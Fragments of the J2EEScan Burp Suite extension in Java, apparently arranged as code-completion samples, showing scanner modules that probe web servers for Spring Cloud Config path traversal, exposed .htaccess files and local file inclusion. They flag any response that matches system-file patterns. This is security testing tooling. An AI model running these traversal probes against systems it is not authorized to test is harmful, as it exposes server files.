// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.apache.commons.lang3.StringUtils; | List<String> toTest = new ArrayList();
for (String traversalPath : SPRINGCLOUD_TRAVERSALS) {
toTest.add(traversalPath + StringUtils.replaceOnce(path, "/", ""));
}
if (!toTest.isEmpty()) {
for (String systemPath : toTest) {
Set<String> lfiOSResources = LFI_RESOURCES.keySet();
for (String osResource : lfiOSResources) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), systemPath);
byte[] utf8LFIAttempt = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, utf8LFIAttempt);
String response = helpers.bytesToString(responseBytes);
Pattern detectionRule = LFI_RESOURCES.get(osResource);
Matcher matcher = detectionRule.matcher(response);
if (matcher.find()) { | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/SpringCloudConfigPathTraversal.java
import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.apache.commons.lang3.StringUtils;
List<String> toTest = new ArrayList();
for (String traversalPath : SPRINGCLOUD_TRAVERSALS) {
toTest.add(traversalPath + StringUtils.replaceOnce(path, "/", ""));
}
if (!toTest.isEmpty()) {
for (String systemPath : toTest) {
Set<String> lfiOSResources = LFI_RESOURCES.keySet();
for (String osResource : lfiOSResources) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), systemPath);
byte[] utf8LFIAttempt = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, utf8LFIAttempt);
String response = helpers.bytesToString(responseBytes);
Pattern detectionRule = LFI_RESOURCES.get(osResource);
Matcher matcher = detectionRule.matcher(response);
if (matcher.find()) { | issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/Htaccess.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | package burp.j2ee.issues.impl;
/**
* Check for /.htaccess Detection
*
*
* TODO
* - Improve detection strategy
*
*/
public class Htaccess implements IModule {
// List of host and port system already tested
private static LinkedHashSet hs = new LinkedHashSet();
private static final String HTACCESS_PATH = "/.htaccess";
// TODO improve pattern matching detection
private static final byte[] GREP_STRING = "RewriteEngin".getBytes();
private static final String TITLE = ".htaccess Accessible";
private static final String DESCRIPTION = "J2EEscan identified the .htaccess file";
private static final String REMEDY = "Restrict access to the resource using proper ACL restriction";
private PrintWriter stderr;
@RunOnlyOnce
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), HTACCESS_PATH);
byte[] htaccesstest = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, htaccesstest);
IResponseInfo htaccessInfo = helpers.analyzeResponse(responseBytes);
if (htaccessInfo.getStatusCode() == 200) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/Htaccess.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
package burp.j2ee.issues.impl;
/**
* Check for /.htaccess Detection
*
*
* TODO
* - Improve detection strategy
*
*/
public class Htaccess implements IModule {
// List of host and port system already tested
private static LinkedHashSet hs = new LinkedHashSet();
private static final String HTACCESS_PATH = "/.htaccess";
// TODO improve pattern matching detection
private static final byte[] GREP_STRING = "RewriteEngin".getBytes();
private static final String TITLE = ".htaccess Accessible";
private static final String DESCRIPTION = "J2EEscan identified the .htaccess file";
private static final String REMEDY = "Restrict access to the resource using proper ACL restriction";
private PrintWriter stderr;
@RunOnlyOnce
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), HTACCESS_PATH);
byte[] htaccesstest = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, htaccesstest);
IResponseInfo htaccessInfo = helpers.analyzeResponse(responseBytes);
if (htaccessInfo.getStatusCode() == 200) {
| List<int[]> matchHtaccess = getMatches(responseBytes, GREP_STRING, helpers); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/Htaccess.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), HTACCESS_PATH);
byte[] htaccesstest = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, htaccesstest);
IResponseInfo htaccessInfo = helpers.analyzeResponse(responseBytes);
if (htaccessInfo.getStatusCode() == 200) {
List<int[]> matchHtaccess = getMatches(responseBytes, GREP_STRING, helpers);
if (matchHtaccess.size() > 0) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/Htaccess.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), HTACCESS_PATH);
byte[] htaccesstest = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, htaccesstest);
IResponseInfo htaccessInfo = helpers.analyzeResponse(responseBytes);
if (htaccessInfo.getStatusCode() == 200) {
List<int[]> matchHtaccess = getMatches(responseBytes, GREP_STRING, helpers);
if (matchHtaccess.size() > 0) {
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/InfrastructurePathTraversal.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContextAndNestedPath(URL url) {
//
// String path = url.getPath();
// int i = path.lastIndexOf('/');
// String context = path.substring(0, i + 1);
//
// return (StringUtils.countMatches(context, "/") == 3) ? context : "";
// }
| import burp.j2ee.CustomScanIssue;
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getApplicationContextAndNestedPath;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern; | *
* http://www.example.com/{FUZZ_LFI_PAYLOADS}
*/
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
// Test Local File include
for (String path : UTF8_LFI_PATHS) {
Set<String> lfiOSResources = LFI_RESOURCES.keySet();
for (String osResource : lfiOSResources) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), path + osResource);
byte[] utf8LFIAttempt = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, utf8LFIAttempt);
IResponseInfo UTF8LFIInfo = helpers.analyzeResponse(responseBytes);
String response = helpers.bytesToString(responseBytes);
Pattern detectionRule = LFI_RESOURCES.get(osResource);
Matcher matcher = detectionRule.matcher(response);
if (matcher.find()) { | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContextAndNestedPath(URL url) {
//
// String path = url.getPath();
// int i = path.lastIndexOf('/');
// String context = path.substring(0, i + 1);
//
// return (StringUtils.countMatches(context, "/") == 3) ? context : "";
// }
// Path: src/main/java/burp/j2ee/issues/impl/InfrastructurePathTraversal.java
import burp.j2ee.CustomScanIssue;
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getApplicationContextAndNestedPath;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
*
* http://www.example.com/{FUZZ_LFI_PAYLOADS}
*/
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
// Test Local File include
for (String path : UTF8_LFI_PATHS) {
Set<String> lfiOSResources = LFI_RESOURCES.keySet();
for (String osResource : lfiOSResources) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), path + osResource);
byte[] utf8LFIAttempt = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, utf8LFIAttempt);
IResponseInfo UTF8LFIInfo = helpers.analyzeResponse(responseBytes);
String response = helpers.bytesToString(responseBytes);
Pattern detectionRule = LFI_RESOURCES.get(osResource);
Matcher matcher = detectionRule.matcher(response);
if (matcher.find()) { | issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/InfrastructurePathTraversal.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContextAndNestedPath(URL url) {
//
// String path = url.getPath();
// int i = path.lastIndexOf('/');
// String context = path.substring(0, i + 1);
//
// return (StringUtils.countMatches(context, "/") == 3) ? context : "";
// }
| import burp.j2ee.CustomScanIssue;
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getApplicationContextAndNestedPath;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern; | baseRequestResponse.getHttpService(),
urlToTest,
new CustomHttpRequestResponse(utf8LFIAttempt, responseBytes, baseRequestResponse.getHttpService()),
TITLE,
DESCRIPTION,
REMEDY,
Risk.Low,
Confidence.Certain
));
return issues;
}
} catch (MalformedURLException ex) {
stderr.println(ex);
} catch (Exception ex) {
stderr.println(ex);
}
}
}
}
/**
* Local file include on the application context
*
* Ex: http://www.example.com/myapp/Login
*
* Retrieve the myapp context and test the LFI payloads on it
*
* Ex: http://www.example.com/myapp/{FUZZ_LFI_PAYLOADS}
*/ | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
